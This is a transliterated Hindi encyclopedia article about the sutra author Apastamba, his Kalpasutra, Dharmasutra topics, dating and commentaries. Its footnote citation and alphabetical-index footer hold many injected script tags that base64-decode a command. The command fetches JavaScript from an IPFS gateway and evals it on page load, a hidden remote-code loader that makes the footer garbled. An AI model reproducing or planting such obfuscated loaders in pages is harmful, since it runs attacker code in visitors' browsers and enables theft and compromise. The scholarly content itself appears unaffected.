आपस्तंब

apastanb ye sootrakar haian; rrishi nahian. vaidik sanhitaoan mean inaka ullekh nahian paya jata. apastanbadharmasootr mean sootrakar ne svayan apane ko 'avar' (paravarti) kaha hai.^[1] inake nam se krishna yajurved ki taittiriy shakha ka apastanbakalpasootr paya jata hai. yah granth 30 prashnoan mean vibhajit hai. isake pratham 24 prashnoan ko apastanbashrautasootr kahate haian jinamean vaidik yajnoan ka vidhan hai. 25 vean prashn mean paribhasha, pravarakhand tatha hautrak mantr hai, isake 26 vean aur 27 vean prashn ko milakar apastanbagrihmasootr kaha jata hai jinamean grihmasanskaroan aur dharmik kriyaoan ka varnan hai. kalpoosatr ke 28vean or 29vean prashn apastanbadharmasootr ke nam se prasiddh haian. 30vaan prashn shulvasootr shulvasootr kahalata hai. isamean yajnakuand aur vedika ki map ka varnan hai. rekhaganit aur vastushastr ka praranbhik roop inamean milata hai.

samajashastr, shasan aur vidhi ki drishti se apastanbadharmasootr vishesh mahatv ka hai. yah do prashnoan mean aur pratyek prashn 11 pataloan mean vibhakt hai. pratham prashn mean ninmalikhit vishayoan ka varnan hai:dharm ke mool-ved tatha vedavidoan ka shil; char varn aur unaka variyatakram; achary; upanayan ka samay aur usaki avahelana ke lie prayashchit; brahmachari ki karttavy; brahmacharyakal-48,36,25 athava 12 varsh; brahmachari ki jivanacharya, dand, mekhala, ajin, bhiksha, samidhaharan, agnyadhan; brahmachari ke vrat, tap; achary tatha vibhinn varno ko pranam karane ki vidhi; brahmachary ke vrat, tap; achary tatha vibhinn varno ko pranam karane ki vidhi; brahmachary samapt hone par gurudakshina; snan aur snatak; vedadhyayan tatha anadhyay; panchamamahayajn-bhootayajn, nriyajn, devayajn, pitriyajn; tatha rrishiyajn; sabhi varno ke sath shishtachar; yajnopavit; achaman; bhojan tatha pey, nishedh; brahman ke lie apaddharm-vanikkarm, kuchh padartho ka vikray varjit; pataniy-chaury, brahmahatya athava hatya; bhroonahatya; nishiddh sanbandh mean yonisanbandh, surapan adi; adhyatmik prashn-atm,brahm, naitik sadhan aur dosh; kshatriy, vaishy tatha shoodr hi hatya ki kshatipoorti; brahman, guru evan shrotriy ke vadh ke lie prayashchit; guru-talp-gaman, surapan tatha suvarnachaury ke lie prayashchitt; pakshi, gay tatha saan d ke vadh ke lie prayashchit; gurujanoan ko apashabd kahane ke lie prayashchitt; shoodra ke sath maithun tatha nishiddh bhojan ke lie prayashchitt; krichchhravat; chaury; patit guru tatha mata ke sath vyavahar; guru-talp-gaman ke lie prayashchit; par vividh mat; pati patni ke vyabhichar ke lie prayashchit; bhroon (vidvan brahman) hatya ke lie prayashchit; atmaraksha ke atirikt shastragrahan brahman ke lie nishiddh; abhishast ke lie prayashchit; chhote papoan ke lie prayashchit; vidyasnatak, vratasnatak tatha vidyvraatasnatak ke sanbandh mean vividh mat aur snatakoan ke vrat tatha achar.

dvitiy prashn ke vishay nimnaankit haian: panigrahan ke uparaant grihasth ke vrat; bhojan, upavas tatha maithun; sabhi varn ke log apane karttavyapalan se upayukt tatha n palan se nimn yoniyoan mean janm lete haian; pratham tin varnoan ko nity snan kar vishvedav yajn karana chahie; shudr kisi ary ke nirikshan mean any varrnaeean ke lie bhojan pakave; pakvann ki bali; pratham atithi tatha pun: bal, vriddh, rugn tatha garbhini ko bhojan; vaishvadev ke aant mean ae kisi agantuk ko bhojan ke lie pratyakhyan nahian; avidvan brahman, kshatriy, vaishy evan shoodr atithi ka svagat; grihasth ke lie uttariy athava yajnopavit; brahman ke abhav mean kshatriy athava vaishy achary; guru ke agaman mean grihasth ka kartavy; grihasth ke lie adhyapan tatha any kartavy; ajnat varn aur shil ke atithi ka svagath‌; atithi; madhupark; shadvedaang; vaishvadev ke pashchath‌ shvan tatha chaandal ko bhi bhojan; dan, bhrity aur das ko kasht dekar nahian; svayan, stri tatha putr ko kasht dekar dan; brahmachari, grihasth, parvraaijak adi ko bhojan; achary, vivah, yajn, mata-pita ka poshan, vratapalan adi bhiksha ke avasar; brahman adi varnoan ke kartavy; yuddh ke niyam; purohit ki niyukti; dand; brahman ki adandayata aur avadhyata; marg ke niyam; varn ka utkarsh aur apakarsh pahali patni (santanavati evan sushila) ke rahate doosara vivah nishiddh; vivah ke niyam; vivah ke chhah prakar-brahm, arsh, daiv, gaandharv, asur, aur rakshas; vivahit danpati ke kartavy; vividh prakar ke putr; santan ki adeyata aur avikreyata; day tatha vibhajan; pati patni mean vibhajan nishiddh; vedaviruddh deshachar aur kulachar anukaraniy nahian; maranashauch; dan; shraddh; char ashram; parvraaijakadharm; rajadharm; rajadhanisabha; aparadhanirmoolan; dan; prajarakshan; kar tatha kar se mukti; vyabhicharadand; apashabd tatha narahatya; vividh prakar ke dand; vad (abhiyog); sandehavastha mean anuman tatha divy praman; striyoan tatha samany janata se vividh dharmo ka jnan.^[2]

prachinata mean apastanbadharmasootr gautamadharmasootr aur baudhayanadharmasootr se pichhe ka tatha hiranyakeshi aur vasishthadharmasootr ke pahale ka hai. isake sangrah ka samay 500 ee.poo. ke pahale rakha ja sakata hai. apastanbadharmasootr^[3] mean audichyoan (uttaravaloan) ke achar ka vishesh roop se ullekh hai. isapar kee vidvanoan ne yah nishkarsh nikala hai ki apastanb dakshinaty (sanbhavat: aandhr) the. parantu sarasvati nadi ke uttar ka pradesh udichi hone se yah anuman keval dakshin par hi lagoo nahian hota. yah sach hai ki apastanbiy shakha ke brahman narmada ke dakshin mean pae jate haian, parantu unaka yah prasar paravarti kal ka hai. apastanbadharmasootr par haradatt ka ujvalavritti namak bhashy prasiddh hai.^[4]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ 1.2.5.4
↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 382-83 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ 2.7.17.17.
↑ san.gran.-apastanbiyadharmasootramh‌, daan. j aaurj byoohalar dvara sanpadit, tritiy sanskaran, 1932, baanbe sanskrit siriz san. 44 tatha 50; pi.vi. kane: histri aauv dharmashastr jild 1, pri.32-46.

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] 1.2.5.4

[2] vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 382-83 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] 2.7.17.17.

[4] san.gran.-apastanbiyadharmasootramh‌, daan. j aaurj byoohalar dvara sanpadit, tritiy sanskaran, 1932, baanbe sanskrit siriz san. 44 tatha 50; pi.vi. kane: histri aauv dharmashastr jild 1, pri.32-46.

[1]

[2]

[3]

[4]

आपस्तंब

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sanbandhit lekh

varnamala kramanusar lekh khoj

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